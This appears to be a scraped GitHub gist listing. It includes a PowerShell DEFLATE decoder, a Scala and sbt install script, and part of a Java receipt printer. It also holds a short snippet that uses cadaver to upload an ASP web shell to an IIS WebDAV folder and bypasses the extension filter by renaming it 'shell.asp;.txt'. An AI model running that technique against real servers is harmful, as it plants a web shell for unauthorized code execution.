Skip to content

Instantly share code, notes, and snippets.

View jsvazic's full-sized avatar

John Svazic jsvazic

  • Cambridge, Ontario, Canada
View GitHub Profile
@vortexau
vortexau / decompress.ps1
Last active May 13, 2024 07:53
Powershell to decompress DEFLATE data
$base64data = "insert compressed and base64 data here"
$data = [System.Convert]::FromBase64String($base64data)
$ms = New-Object System.IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
$sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress))
while ($line = $sr.ReadLine()) {
@leveled
leveled / putting a shell on a webdav protected folder.txt
Created December 29, 2016 17:29
IIS Webdav bypass using cadaver
cadaver http://10.11.1.229
dav:/> put shell.asp shell.txt
dav:/> copy shell.txt shell.asp;.txt
@bigsnarfdude
bigsnarfdude / gist:b2eb1cabfdaf7e62a8fc
Last active March 8, 2021 09:40
ubuntu 14.04 install scala 2.11.7 and sbt 13.9 and java 8 and git
# scala install
wget www.scala-lang.org/files/archive/scala-2.11.7.deb
sudo dpkg -i scala-2.11.7.deb
# sbt installation
echo "deb https://dl.bintray.com/sbt/debian /" | sudo tee -a /etc/apt/sources.list.d/sbt.list
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 642AC823
sudo apt-get update
sudo apt-get install sbt
@amermchaudhary
amermchaudhary / PrintReceipt.java
Created February 6, 2013 06:20
Receipt Printer Example for printing receipt to default printer
package com.fibertechcws.pos.client.print;
import java.awt.*;
import java.awt.geom.*;
import java.awt.print.*;
import java.util.*;
public class PrintReceipt implements Printable {
int lines;
ArrayList<String> text1;